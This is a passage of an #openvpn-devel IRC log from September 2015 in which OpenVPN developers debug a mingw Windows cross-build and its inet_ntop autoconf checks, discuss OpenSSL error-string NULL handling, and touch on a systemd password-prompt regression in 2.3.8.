check for ms_error_text(), because I don't fully trust all ERR-related code in OpenSSL (and our use of it) to be capable of handling NULL pointers 14:50 <@cron2> but the flags will only be zeroed when allocationg the route-option-list 14:51 <@cron2> so, "yes" 14:51 <@cron2> (to plai) 14:51 <@cron2> syzzer: where do you see a NULL pointer? 14:52 <@syzzer> ms_error_text() can return NULL now 14:52 <@cron2> true, both if FormatMessage() fails and if strdup() fails 14:53 <@syzzer> ERR_load_strings() itself doesn't care and just stores the NULL pointer somewhere, but that means it will probably also happily return it to it's users 14:53 <@syzzer> .. which might or might not be correctly handled 14:53 <@cron2> so it's returned further upstream, not only used inside err_put_ms_error()? 14:54 <@syzzer> yes, it's loaded in some error string database inside openssl 14:54 * cron2 is scared 14:54 <@syzzer> s/database/list/ 14:54 <@syzzer> yes, I do not like it either 14:55 <@cron2> but this is actually very easy for me :-) - "this is crypto stuff and if you say there should not be a NULL pointer here, I believe that" :-) 14:55 <@syzzer> the annoying thing is, this is windows code that is no fun to test... 14:59 * cron2 mentions that the "get me routing info" API on Windows is actually fairly sane, as opposed to the others... 15:00 <@mattock1> syzzer: so you are going to send new strdup() patch? or more patches on top of that one? 15:00 <@syzzer> two pathces to replace that one 15:00 <@cron2> of course the netlink stuff is way more flexible, powerful, yadda yadda, but it's still not exactly easy to use 15:00 <@cron2> syzzer: I'll take it in one patch as well :) 15:01 <@syzzer> ah, fine with me too 15:01 <@cron2> mattock1: so the thing you just built, is it The Right Thing? 15:01 <@syzzer> just want to see at least a smoke test working 15:02 <@mattock1> cron2: actually no, lol 15:02 <@mattock1> this is due to openvpn-build though 15:02 <@mattock1> I will need to do more plumbing work 15:03 <@mattock1> openvpn-build insists on fetching the vanilla sources 15:03 <@cron2> syzzer: understood :) 15:03 <@syzzer> mattock1: yeah, that's quite annoying :p 15:04 <@syzzer> but I won't complain. I have no clue how to builds openvpn+openssl myself without those scripts... 15:09 <@cron2> ok, it's late :-) - I'd skip the patch from Lukas for today, and go to the last item - "control packet MTU increase". It has been tested by people on busy servers, and plaisthos has it in the Android code base, and nobody complained so far - so I'd suggest to cherry-pick to 2.3 as well 15:10 <@syzzer> +1 15:10 <@mattock1> I'll have to build the special Windows installers when I'm less tired... all sorts of annoying little issues 15:11 <@cron2> good night :) - I think it was quite a good meeting, after quite some time... next meeting in 2 weeks, getting ready for Delft in 3 weeks? 15:12 <@mattock1> yes, good idea 15:12 <@syzzer> yes, works for me 15:12 <@cron2> in that case - thanks, and good night :-) 15:12 <@syzzer> (I don't particularly feel like getting into the windows-build-mess right now either ;) ) 15:12 <@syzzer> good night! 15:12 <@cron2> (and mattock managed to cleverly manaeuver around the T-Shirt issue) 15:12 <@cron2> sp... 15:13 <@mattock1> yeah, I indeed did 15:13 <@mattock1> good night! 15:13 < gava100> ok guys, thx! 15:14 <@mattock1> bye gava100! 15:14 < gava100> bye bye! 15:17 <@mattock1> summary away 15:18 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 15:19 -!- gava100 [~circuser-@201.48.114.241] has quit [Remote host closed the connection] 15:22 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 256 seconds] 15:28 -!- Guest59784 [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 15:29 -!- Guest59784 [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 15:29 -!- EvilJStoker_ [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 15:46 -!- TimSmall [~tim@ipv6test5.plus.com] has quit [Quit: leaving] 15:51 -!- EvilJStoker_ is now known as EvilJStoker 18:16 -!- arlen [~arlen@jarvis.arlen.io] has quit [Quit: exit] 19:27 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel --- Day changed Tue Sep 22 2015 01:54 -!- lev___ [~lev@stipakov.fi] has joined #openvpn-devel 02:11 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:11 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:25 <@mattock1> now lets see about the special Windows build... 02:43 -!- woodrow [sid13914@gateway/web/irccloud.com/x-aymasfeafsikdyak] has quit [K-Lined] 03:01 <@cron2> so...? 03:03 <@mattock1> build failure: http://pastebin.ca/3170780 03:04 <@mattock1> the VM is Ubuntu 14.04, so mingw_w64 should be fairly recent 03:07 -!- woodrow [sid13914@gateway/web/irccloud.com/x-dnbxkjuxngzbdvwx] has joined #openvpn-devel 03:10 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 03:11 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 03:16 <@cron2> ouch 03:18 * cron2 wonders why this didn't blow up for him... 03:18 <@cron2> the comments in compat-ntop.c suggest that we just don't need this anymore at all... 03:18 <@cron2> * this is needed as long as we support running OpenVPN on WinXP 03:20 <@cron2> so I wonder why it gets build - config.h should #define HAVE_INET_NTOP 1 and HAVE_INET_PTON 1 03:20 <@cron2> does the 32bit version build? 03:22 <@mattock1> hmm, I'll try the 32-bit version 03:23 <@mattock1> no, that _is_ the 32-bit version 03:23 <@mattock1> I'll try 64-bit 03:36 <@mattock1> nope, that failed too with the same error 03:40 <@cron2> ok... it did not even reach the new code, but of course the change to WINNT_VISTA makes the header files behave differently 03:41 <@cron2> I assume the conftest for inet_ntop()/inet_pton() is not right, so it's not finding them, not enableing HAVE_INET_NTOP/HAVE_INET_PTON, and then failing due to that conflict 03:44 <@cron2> oh 03:45 <@cron2> my mingw installation is too old, so it totally does not know about InetNtopA() or inet_ntop() 03:45 <@cron2> so it did not fail for me... 03:45 <@mattock1> interesting side-effect of obsolete code 03:46 <@cron2> could you look into your config.log how the C compiler is called for "checking for inet_ntop"? 03:47 <@mattock1> yeah 03:48 <@mattock1> configure:15151: x86_64-w64-mingw32-gcc -o conftest.exe -DWIN32_LEAN_AND_MEAN -DNTDDI_VERSION=NTDDI_VISTA -D_WIN32_WINNT=_WIN32_WINNT_VISTA conftest.c >&5 03:48 <@mattock1> /tmp/ccq1mEwr.o:conftest.c:(.text+0xe): undefined reference to `inet_ntop' 03:52 <@cron2> so it's missing the necessary $(LIBS) here 03:53 <@cron2> src/openvpn/Makefile adds 03:53 <@cron2> am__append_3 = -lgdi32 -lws2_32 -lwininet -lcrypt32 -liphlpapi -lwinmm 03:54 <@cron2> which might be needed there as well... 03:54 <@cron2> what a pile of shit 03:57 <@mattock1> yes, we all love Windows, in particular building on Windows 03:57 <@cron2> no, *this* is pure autoconf shit 03:58 <@cron2> it already knows which libraries to use, but doesn't use them for the conftest 03:58 <@mattock1> ah, well that's another can of worms 04:00 <@cron2> if you just go to the build dir, enable #define HAVE_INET_NTOP 1 and #define HAVE_INET_PTON 1 in config.h, and run "make clean && make", will it get further? 04:00 <@cron2> (it needs -lws2_32, jftr) 04:01 <@mattock1> just a sec 04:03 <@mattock1> building 04:04 <@mattock1> cron2: the build seemed to have finished ok 04:06 <@cron2> this is good (but of course you don't get an installer that way...) 04:08 <@cron2> could you apply this patch to your configure.ac please, run "autoreconf -vif" and then "make" to see whether it can find inet_pton then? 04:08 <@cron2> http://fpaste.org/270022/44291275/ 04:10 <@mattock1> yeah 04:11 <@cron2> argh 04:11 * cron2 stupid 04:11 <@cron2> the 3 new lines need to go *before* the AC_CHECK_FUNCS 04:12 <@cron2> please use 04:12 <@cron2> http://fpaste.org/270031/29130301/ 04:13 <@mattock1> oh, retry then 04:14 <@cron2> sorry 04:14 <@mattock1> rebuilding 04:21 <@cron2> is it still working, or did you go for lunch? ;-) 04:22 <@mattock1> checkig 04:23 <@mattock1> In file included from compat-inet_ntop.c:33:0: 04:23 <@mattock1> compat.h:61:14: error: conflicting types for 'inet_ntop' 04:23 <@mattock1> const char * inet_ntop(int af, const void *src, char *dst, socklen_t size); 04:23 <@mattock1> I verified that the sources are using your patch 04:24 <@mattock1> the more recent one 04:28 <@cron2> so it's still not finding it - what does config.log say? 04:37 <@mattock1> let's see 04:38 <@mattock1> configure:15154: checking for inet_pton 04:38 <@mattock1> configure:15154: i686-w64-mingw32-gcc -o conftest.exe -DWIN32_LEAN_AND_MEAN -DNTDDI_VERSION=NTDDI_VISTA -D_WIN32_WINNT=_WIN32_WINNT_VISTA conftest.c -lws2_32 >&5 04:38 <@mattock1> /tmp/ccmdnCK1.o:conftest.c:(.text+0xc): undefined reference to `inet_pton' 04:38 <@mattock1> and... 04:38 <@mattock1> configure:15154: checking for inet_ntop 04:38 <@mattock1> configure:15154: i686-w64-mingw32-gcc -o conftest.exe -DWIN32_LEAN_AND_MEAN -DNTDDI_VERSION=NTDDI_VISTA -D_WIN32_WINNT=_WIN32_WINNT_VISTA conftest.c -lws2_32 >&5 04:38 <@mattock1> /tmp/ccoPXelZ.o:conftest.c:(.text+0xc): undefined reference to `inet_ntop' 04:40 <@cron2> now that is interesting 04:40 <@cron2> if you look into ws2tcpip.h on your system, is inet_ntop() a #define or a proper function? 04:41 <@cron2> MS documentation says "this is the ANSI function, and the windows function is InetNtopA()", but I'm not sure what this means 04:44 <@mattock1> hmm, just a sec 04:47 <@cron2> the conftest program needs to #include <ws2tcpip.h>, I think, which it doesn't (and I have no idea how to make it) 04:48 <@mattock1> ws2tcpip.h: http://pastebin.ca/3170849 04:49 <@cron2> now that is interesting 04:49 <@cron2> inet_ntop() is actually "the real thing", and InetNtopA is a macro 04:49 <@cron2> ok, next try, brute force now :-) 04:50 <@cron2> please find ws2_32.dll on your system 04:50 <@cron2> something like /usr/i686-w64-mingw32/lib/libws2_32.a 04:50 <@cron2> in that directory, please do "grep inet_ntop *.a" 04:52 <@mattock1> samuli@openvpn-build:/usr/i686-w64-mingw32/lib$ grep inet_ntop *.a 04:52 <@mattock1> Binary file libws2_32.a matches 04:52 <@mattock1> same in x64 dir 04:52 <@cron2> mmmh 04:52 <@mattock1> I need to get some lunch 04:52 <@cron2> so -lws2_32 really should find it 04:53 <@mattock1> I'll be back in an hour or so 04:57 * cron2 needs to give up on this for the moment anyway, debugging this indirectly is too time consuming for both of us 04:57 <@cron2> google isn't helping, so it seems I'll have to whip up an ubuntu 14 machine and fight this myself... is your documentation about the build system halfway up to date? 05:31 <@cron2> mattock1: your magic setup script needs to also install the "libtool" packet, otherwise autoreconf will fail on the WIN32 stuff 05:40 <@vpnHelper> RSS Update - tickets: #607: Default route not cleared on network fail. <https://community.openvpn.net/openvpn/ticket/607> 06:07 <@mattock1> cron2: the documentation is fully up-to-date afaicr 06:07 <@mattock1> there's the automated setup script which "should work"(tm) in Trac 06:07 <@mattock1> I've used that to setup my current build box 06:13 <@cron2> I used that, and it is missing "libtool" 06:14 <@cron2> build-snapshot runs autoreconf --force to build the tarball, and that doesn't work if libtool isn't there 06:35 <@vpnHelper> RSS Update - tickets: #608: Typo in IOS instructions <https://community.openvpn.net/openvpn/ticket/608> 07:06 <@cron2> mattock1: how do you build snapshots? with "build-snapshot"? this is a bit weird to me - it compiles all the prerequisites, and then insists on entering "openvpn-2.3.6" instead of "the openvpn directory it just extracted from git" 07:06 <@cron2> (openvpn-2.3_git) 07:19 <@mattock1> cron2: let's see... 07:20 <@mattock1> ok so here's what the "buildslave" script does: 07:20 <@mattock1> cd "$WINDOWS_NSIS_DIR" 07:20 <@mattock1> EXTRA_OPENVPN_CONFIG="$EXTRA_OPENVPN_CONFIG" OPENVPN_VERSION="$OPENVPN_VERSION" MAKEOPTS="-j1" ./build-snapshot --sign --sign-pkcs12="$CERT_FILE" --sign-pkcs12-pass="$CERT_PASS" --sign-timestamp="$SIGN_TIMESTAMP_URL" 07:20 <@mattock1> where $OPENVPN_VERSION is set to 2.3_git 07:21 <@mattock1> that is what the version is set to in version.m4 07:23 <@mattock1> oftentimes, though, I just create a tarball from Git sources after running "autoreconf -vi", put that to a webserver, point generic/build.vars to that, set OPENVPN_VERSION to 2.3_git and run "build-complete" 07:23 <@mattock1> that's a bit overdoing, but works reliably with smaller surprise factor 07:24 <@cron2> this really, really needs work 07:25 <@cron2> it should not be necessary (to build snapshots) to do "remove all, git clone, configure, build tarball, copy tarball, extract tarball again, run configure again (for crossbuilding), and then build" 07:25 <@cron2> just pointing to the git clone dir should really be enough... 07:26 <@cron2> Alon should be forced to use his own crap 07:26 <@cron2> (for release building, it's propably fine, as you build against reference tar balls - but for development? nah, pure madness) 07:27 <@mattock1> the build-snapshot thing kind of works, but as you say, it behaves a bit oddly 07:27 <@cron2> "a bit"? "oddly"? these are not the right words, "total insanity" is more like it :-) 07:27 <@mattock1> let's say "in surprising ways" :P 07:27 <@cron2> but *now* I'm where I want to be :-) 07:27 <@cron2> compat.h:61:14: error: conflicting types for 'inet_ntop' 07:28 <@mattock1> great! 07:31 <@cron2> *sigh* 07:32 <@cron2> the conftest.c program needs to actually #include <ws2tcpip.h>, which will redefine inet_ntop() internally to link _imp__inet_ntop(), and *that* is found in -lws2_32 07:32 <@cron2> and of course, it needs to call inet_ntop() halfway properly 07:32 <@cron2> larger patch coming, but *now* I actually need to go and get some paid work done... 08:50 <@mattock1> damn paid work :) 08:50 <@mattock1> always getting in the way 13:58 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 15:18 <@cron2> mator: so, did you find time to test? 17:29 -!- d12fk [~heiko@85.25.119.185] has quit [Ping timeout: 252 seconds] --- Day changed Wed Sep 23 2015 00:03 -!- arlen [~arlen@jarvis.arlen.io] has quit [Quit: exit] 00:29 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 01:08 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:08 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:20 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 01:22 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 01:22 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:18 -!- krzie [ba95f387@openvpn/community/support/krzee] has joined #openvpn-devel 02:18 -!- mode/#openvpn-devel [+v krzie] by ChanServ 02:22 <+krzie> root@OpenWrt:/etc/openvpn# /usr/sbin/openvpn --management 127.0.0.1 1337 --config /etc/openvpn/server.conf Options error: Unrecognized option or missing parameter(s) in [CMD-LINE]:1: management (2.3.6) 02:22 <+krzie> anybody seen that before? ive been using --management for a long time without an issue not sure what happened on this new openwrt image i made 02:45 -!- dazo_afk is now known as dazo 02:46 < reators> Hi there, is there a reason why option --explicit-exit-notify is allowed only on the client side of a connection? 02:48 < reators> It would be desirable if a server could tell a client in UDP mode that a connection is cleaned up, e.g. by a 'kill' through management interface. 02:58 <@cron2> krzie: "not compiled in"? 02:59 <@cron2> reators: I seem to remember that "someone" brought this up before, but can't remember the results - and I can see that it might be useful. Maybe it has unexpected consequences, like "the client exit()s, instead of reconnecting" 03:02 <@syzzer> yes, that ^^ 03:02 <@syzzer> a client will respond by killing itself 03:02 <@syzzer> (these are the OCC msgs, right?) 03:06 < reators> syzzer: according to options.h: yes (whatever OCC means ...) 03:07 < reators> But why isn't this explicit_exit_notification not allowed on server side (the configuration option is rejected if it's present in configuration file and the server would't start)? 03:08 -!- krzie [ba95f387@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 03:14 <@syzzer> reators: that I can only guess (before my time), but I think because the author didn't think it would be useful to kill all the connected clients 03:18 -!- d12fk [~heiko@85.25.119.185] has joined #openvpn-devel 03:18 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 03:23 < reators> syzzer: maybe it makes no sense to kill them all simultaneaously, but I'm thinking about a selected client that should be disconnected administratively. 03:48 -!- krzie [ba95f387@openvpn/community/support/krzee] has joined #openvpn-devel 03:48 -!- mode/#openvpn-devel [+v krzie] by ChanServ 04:47 <@cron2> d12fk: I seem to remember that you're building openvpn for windows on cygwin, right? 05:08 <@plai> reators: See also http://news.gmane.org/find-root.php?message_id=%3C1425307892-14258-1-git-send-email-lstipakov@gmail.com%3E 05:08 <@plai> lev looked into that stuff 05:11 <@cron2> he web interface is down for maintenance. 05:11 <@cron2> hrm 05:18 < lev___> yes, I think I've sent a patch while ago, but I will resend it next week 05:19 <@plai> lev___: :) 05:20 <@plai> cron2: there should be also a sf.net web list archive 05:20 <@plai> lev___: there are 3 patches pending from you iirc 05:20 <@plai> http://community.openvpn.net/openvpn/wiki/Patches 05:20 <@vpnHelper> Title: Patches – OpenVPN Community (at community.openvpn.net) 05:20 -!- lev_ [~lev@stipakov.fi] has left #openvpn-devel ["openvpn"] 05:20 -!- lev__ [~lev@stipakov.fi] has left #openvpn-devel ["openvpn"] 05:21 -!- lev___ [~lev@stipakov.fi] has left #openvpn-devel ["openvpn"] 05:21 -!- lev_ [~lev@stipakov.fi] has joined #openvpn-devel 05:24 -!- lev_ [~lev@stipakov.fi] has quit [Quit: leaving] 05:25 -!- lev_ [~lev@stipakov.fi] has joined #openvpn-devel 05:26 -!- lev_ [~lev@stipakov.fi] has quit [Remote host closed the connection] 05:27 -!- lev__ [~lev@stipakov.fi] has joined #openvpn-devel 05:34 -!- krzie [ba95f387@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 05:41 < lev__> plai: IIRC - inotify (intrusive one but it has been in our production for half of year, I'll resend latest version), occ_server_exit and fast fail when ipv6 is not available and remote resolves to ipv6 05:41 < lev__> also support for peerid -1 is on todo list, will do before hackathon 06:19 <@plai> what should peerid -1 be? 06:27 < lev__> server can push peer-id -1, in that case client will send p_data_v2 packets with peer-id 0xffffff 06:27 < lev__> James wrote about that a while ago (January?) 06:29 <@plai> lev__: ah 06:30 <@plai> lev__: for the client side you could also just push 0xffffff as peer-id, right? 06:31 < lev__> yep 06:31 <@cron2> help my memory - why would we want 0xffffff? Is this "I do not have a peer ID, but want to use P_DATA_V2"? 06:31 < lev__> cron2: right 06:31 <@cron2> but any server that understands P_DATA_V2 should be able to handle peer-ids... 06:31 * cron2 scratches his head 06:33 < lev__> cron2: http://sourceforge.net/p/openvpn/mailman/message/33220797/ 06:33 <@vpnHelper> Title: OpenVPN / Mailing Lists (at sourceforge.net) 06:34 <@cron2> well, yeah. "We just move to P_DATA_V2 for everything, and if we have no peer-id yet, we stick to -1" - ok. 06:35 <@plai> or for TCP 06:35 <@plai> at the moment master still uses DATA_V1 for tcp sessions iirc 07:06 * cron2 looks to lev__ for an answer :-) 07:06 <@cron2> and anyway, AEAD! 07:12 * lev__ doesn't remember by heart if TCP uses data_v1 or v2 08:43 < mator> cron2, not yet, need to reinstall this linux, since it was upgraded to debian-8 and debian droped sparc arch , going to reinstall with debian-7 08:53 <@plai> sparc in general or just sparc32? 08:55 < mator> plai, there's no sparc in http://mirror.yandex.ru/debian/dists/unstable/main/ 08:55 <@vpnHelper> Title: Index of /debian/dists/unstable/main/ (at mirror.yandex.ru) 08:57 < mator> my debian was at unstable, and currently i can't install any package from repo, so going to downgrade to debian wheezy (7.x) 08:57 < mator> http://mirror.yandex.ru/debian/dists/wheezy/main/ 08:57 <@vpnHelper> Title: Index of /debian/dists/wheezy/main/ (at mirror.yandex.ru) 08:57 < mator> there's sparc 09:00 <@plai> mator: yeah but sparc64 09:00 <@plai> oh not even sparc64 09:02 <@cron2> plai: the 64bit arch is called "sparc" by the linuxers, while FreeBSD and NetBSD call it "sparc64" 09:02 <@cron2> (and NetBSD/sparc is the 32bit arch) 09:02 <@cron2> but all of those has been dropped in debian 8 09:03 <@plai> this one still has space 09:03 <@plai> http://ftp2.de.debian.org/debian/dists/wheezy/ 09:03 <@vpnHelper> Title: Index of /debian/dists/wheezy (at ftp2.de.debian.org) 09:03 <@plai> sparc 09:03 <@plai> cron2: oh okay 09:05 <@plai> hm oh yes, no sparc in unstable 09:07 < mator> this sun v215 sparc server was installed with cdrom... but it currently on remote location and i need to find out how can i reinstall it with network or whatever install 09:08 < mator> https://www.debian.org/releases/stable/i386/apas02.html.en#howto-getting-images-hard-disk 09:08 <@vpnHelper> Title: A.2. Booting the installer (at www.debian.org) 10:53 <@vpnHelper> RSS Update - tickets: #609: Autolocal does not work on Windows <https://community.openvpn.net/openvpn/ticket/609> 11:54 <@cron2> haha... original poster of #609 refers to a forum post from half a year ago - where the reply he got was the same I posted to the trac (without having read the forum post) "please post log files with --verb 4" :-) 12:13 <@vpnHelper> RSS Update - gitrepo: Replace unaligned 16bit access to TCP MSS value with bytewise access <https://github.com/OpenVPN/openvpn/commit/2e2a34181962b33d70c34c28dcb1e1977c2fd54e> 14:34 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 16:57 -!- arlen [~arlen@jarvis.arlen.io] has left #openvpn-devel [] 16:59 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 19:07 -!- dazo is now known as dazo_afk --- Day changed Thu Sep 24 2015 01:48 <@cron2> *sigh*... #609... the <stdbool.h> change is like the --daemon change - it was A Good Thing, but is coming back every now and then to haunt us 02:18 <@syzzer> wow, that is quite a nasty one... 02:18 <@vpnHelper> RSS Update - wishlistfeed: Wishlist: Pushing 'server' directive <http://forums.openvpn.net/topic19801.html> 02:26 -!- arlen [~arlen@jarvis.arlen.io] has quit [Quit: exit] 02:28 -!- dazo_afk is now known as dazo 02:35 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 02:44 <@syzzer> ^^ huh? *click* 02:45 <@syzzer> ah, he meant 'remote' 02:50 <@cron2> http://www.commitstrip.com/en/2015/09/23/going-to-war/ - I think this describes plaisthos and socket.c rather well :-) 02:50 <@vpnHelper> Title: Going to war | CommitStrip - Blog relating the daily life of web agencies developers (at www.commitstrip.com) 02:50 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:50 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:50 <@cron2> syzzer: indeed 02:53 <@syzzer> :') 06:08 * plai is not going to implement remote pushable support 06:09 <@plai> not on the basis of complicated (it should be relatively easy) but on the basis of "exotic corner case alsmost nobody needs" 06:09 <@plai> next we know that we have to implement persistent config cache from server options and so on 06:13 <@cron2> plai: *like* ("persistent pushable config cache"). Can I have that for 06:13 <@cron2> 2.9 or so? 06:15 <@plai> cron2: I mean, the idea isn't that bad 06:16 <@plai> many commercial clients have something similar than that 06:16 <@plai> where they get most of the config from the server 06:16 <@cron2> yep... talk to a first-line server that redirects to the actual worker, and such 06:17 <@plai> but this remote from server is the wrong way 06:17 <@plai> because it does not survive a client restart 06:18 <@dazo> The openconnect project supports something like that ... protocol wise, it can in some cases also support several built-in IPSec (over UDP) implementations too 06:18 <@plai> I can live with implementing a redirect client 06:19 <@plai> :) 06:19 <@plai> https://github.com/cernekee/ics-openconnect/graphs/contributors 06:19 <@vpnHelper> Title: Contributors to cernekee/ics-openconnect · GitHub (at github.com) 06:19 * plai just found this 06:20 <@cron2> nice graph :-) - and it seems in mid-2013 you became bored with openconnect or so and cernekee took over 06:21 <@cron2> is there such a graph for openvpn as well? 06:21 <@cron2> https://github.com/OpenVPN/openvpn/graphs/contributors 06:21 <@cron2> ah 06:21 <@vpnHelper> Title: Contributors to OpenVPN/openvpn · GitHub (at github.com) 06:22 * dazo is surprised he still ranks so high 06:22 <@cron2> heh, finally eat dazo! 06:22 <@cron2> beat 06:22 <@cron2> 152 vs. 150 :) 06:22 <@dazo> heheh 06:22 <@plai> cron2: it was forked of ics-openvpn in mid 2013 :) 06:23 <@cron2> plai: oh, that explains things ;-) 06:23 <@dazo> well, I believe some 20-ish commits got my "Author" tag instead of andj (documentation patches) by a mistake while we where processing his patches 06:23 <@cron2> who is QueueingKoala??? (And why do I have *that* many commits, anyway) 06:23 <@dazo> Josh Cepek 06:23 <@cron2> andj is still on #3, beating james 06:24 <@plai> seems I almost got Alon 06:24 <@cron2> yep, with the timeout patch you'll be even closer - 4 more to go :) 06:24 <@dazo> it's really a big gap from mattock and the next one 06:25 <@dazo> from mattock and up, it's 50-160 commits .... below 50 commits, it is 6 and lower 06:25 <@cron2> oh, cool, you can click on the "commits" and then you can see the individual commits 06:25 * cron2 looks at QueueingKoala and indeed remembers :-) 06:26 <@plai> and lev__ alias stipa has only 7 commits but one them is pretty intrusive 06:26 <@dazo> yeah 06:26 <@dazo> even lev__'s 381 ++ / 74 -- doesn't really reveal too much how intrusive his changes are 06:26 <@cron2> mattock's history is mostly "before I came on board", all "dsommers committed" stuff :) 06:27 * cron2 actually wonders if he wants to rewrite jkbullard's latest commit (the option checking one)... 06:33 <@cron2> and we might work more closely with this dsommers guy to get his patches reviewed :) 06:34 <@plai> :) 06:52 -!- Esmil [esmil@hapy.0x90.dk] has joined #openvpn-devel 06:57 < Esmil> Ohai. Archlinux just updated to 2.3.8 which includes b131c7b974d9d4d3f0a6ab3a81719af6f7ab2ad6 06:57 < Esmil> ..and now openvpn won't start from the openvpn@.service script 07:01 < mator> let me check 07:02 < Esmil> So the problem is that it checks that stdin or stderr is a tty, but apparently it isn't when started from systemd 07:03 < Esmil> Before it managed to hook into systemd password asking framework when you started the service, but now openvpn just errors out 07:07 < Esmil> Here is another thread complaining about it: https://bbs.archlinux.org/viewtopic.php?id=202793 07:07 <@vpnHelper> Title: Openvpn (2.3.8-1) client, ask for password / Networking, Server, and Protection / Arch Linux Forums (at bbs.archlinux.org) 07:08 <@syzzer> cron2: ^^ (sorry, I don't recall if we have a workaround for this) 07:22 <@plai> hm 07:22 <@plai> did we include dazo's systemd patches? 07:27 < Esmil> yeah, after reverting that commit and adding --askpass to the command line 2.3.8 works again 07:32 <@plai> it really sucks that gmane web interface is down 07:32 <@plai> there is a patchset from dazo that should make openvpn work together with OpenVPN more nicely 07:33 <@plai> http://sourceforge.net/p/openvpn/mailman/openvpn-devel/thread/1439311312-2682-1-git-send-email-openvpn.list%40topphemmelig.net/#msg34365281 07:33 <@vpnHelper> Title: OpenVPN / Mailing Lists (at sourceforge.net) 07:34 <@plai> testing is appricated ;) 07:41 <@cron2> syzzer: yeah :-( - I don't fully grok what is going on in there (as in "why is it looking for stdin/stderr, if it's going to ask systemd anyway") 09:04 -!- dazo is now known as dazo_afk 09:06 -!- dazo_afk is now known as dazo 11:24 -!- pekster_ [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 240 seconds] 11:26 -!- riddle [riddle@76.72.170.57] has quit [Disconnected by services] 11:26 -!- esde [~something@openvpn/user/esde] has quit [Ping timeout: 244 seconds] 11:26 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 11:27 -!- esde [~something@openvpn/user/esde] has joined #openvpn-devel 11:54 -!- Enkidu_ak [~abrown@unaffiliated/enkidu-ak/x-8729472] has joined #openvpn-devel 11:55 < Enkidu_ak> !git 11:55 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/ or (#4) See !git-doc how to use git or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png 11:55 <@vpnHelper> or (#6) for the windows TUN/TAP driver repo, look at !tapdrvr 11:56 -!- Enkidu_ak [~abrown@unaffiliated/enkidu-ak/x-8729472] has quit [Client Quit] 11:57 -!- Enkidu_ak [~abrown@unaffiliated/enkidu-ak/x-8729472] has joined #openvpn-devel 12:38 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 12:38 -!- mode/#openvpn-devel [+o pekster] by ChanServ 12:52 * cron2 wonders where mattock is hiding... 15:09 <@mattock1> nowhere really, just didn't have time to do any openvpn work today 15:09 <@mattock1> I'll do patch testing and such tomorrow morning 15:13 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 16:40 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 240 seconds] 16:44 -!- dazo is now known as dazo_afk 18:58 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 18:59 -!- woodrow [sid13914@gateway/web/irccloud.com/x-dnbxkjuxngzbdvwx] has quit [Ping timeout: 240 seconds] 19:01 -!- woodrow [sid13914@gateway/web/irccloud.com/x-hqvqqeadfqcmolvd] has joined #openvpn-devel 19:01 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 19:01 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Fri Sep 25 2015 01:26 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:26 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:27 -!- Enkidu_ak [~abrown@unaffiliated/enkidu-ak/x-8729472] has quit [Ping timeout: 240 seconds] 01:28 -!- Enkidu_ak [~abrown@unaffiliated/enkidu-ak/x-8729472] has joined #openvpn-devel 01:33 -!- Enkidu_ak [~abrown@unaffiliated/enkidu-ak/x-8729472] has quit [Ping timeout: 256 seconds] 01:34 -!- Enkidu_ak [~abrown@unaffiliated/enkidu-ak/x-8729472] has joined #openvpn-devel 01:42 <@cron2> good morning sunshines 01:47 <@mattock1> good morning 01:55 <@cron2> so you're alive today? ;-) 02:01 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 250 seconds] 02:08 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 02:08 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:08 <@mattock1> I am :) 02:08 <@mattock1> anyways, I'll try out the builds now 02:15 <@mattock1> building 02:17 <@cron2> d12fk: are you awake? 02:37 <@mattock1> cron: the builds passed now 02:37 <@mattock1> I'll copy the results to build.openvpn.net 02:38 <@cron2> whee! 02:39 <@cron2> (I wonder if it's now broken on Cygwin and MSVC...) 02:49 <@mattock1> cron2: you got mail 02:49 <@mattock1> I925 installers here: http://build.openvpn.net/downloads/temp/ 02:49 